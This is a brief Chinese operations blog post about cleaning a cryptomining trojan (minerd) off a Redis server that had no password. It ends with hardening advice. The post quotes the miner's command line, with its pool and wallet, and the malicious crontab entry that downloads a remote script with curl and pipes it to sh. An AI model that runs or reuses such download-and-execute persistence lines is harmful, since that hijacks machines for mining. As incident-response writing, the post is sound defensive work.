一次Redis服务器中挖矿木马相关处理

一 、故障现象

“`使用top命令发现异常进程minerd,截图如下：“`

二、排查过程

“`2.1强杀该进程“`

//现象：强杀完毕后没有什么效果
[root@iZ94n3smxsyZ ~]# kill -9 1633

//能够看到进程又一次起来了
[root@iZ94n3smxsyZ ~]# ps -ef|grep minerd
root      9852     1 99 11:31 ?        00:02:22 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x
root      9882  9613  0 11:32 pts/0    00:00:00 grep minerd

“`2.2查看木马源“`

//查看这个进程相关
[root@iZ94n3smxsyZ ~]# find / -name mine*
/usr/local/etc/minerd.conf
/opt/minerd

//强杀一次
[root@iZ94n3smxsyZ ~]# pkill minerd
[root@iZ94n3smxsyZ ~]# ps -ef|grep minerd
root      9963  9613  0 11:34 pts/0    00:00:00 grep minerd

“`2.3删除二进制程序“`

[root@iZ94n3smxsyZ opt]# rm -rf minerd
//删除完后发现进程隔一段时间又起来了

“`2.4停止crontab“`

//定位到问题
[root@iZ94n3smxsyZ opt]# crontab -l
*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh
//将crontab计划任务删除

三、总结

总结：大概4~5年前在一家公司做运维工程师，阿里云上了一个redis实例没配置密码，中午吃了个中饭到下午CPU就满负载了，当时也蒙着头去处理，各种骂各种日，哈哈(添加于2019.9.7)
优化思路：
  1.redis一定要配置强密码
  2.最好将6379端口进行更改
  3.redis实例最好别对外开放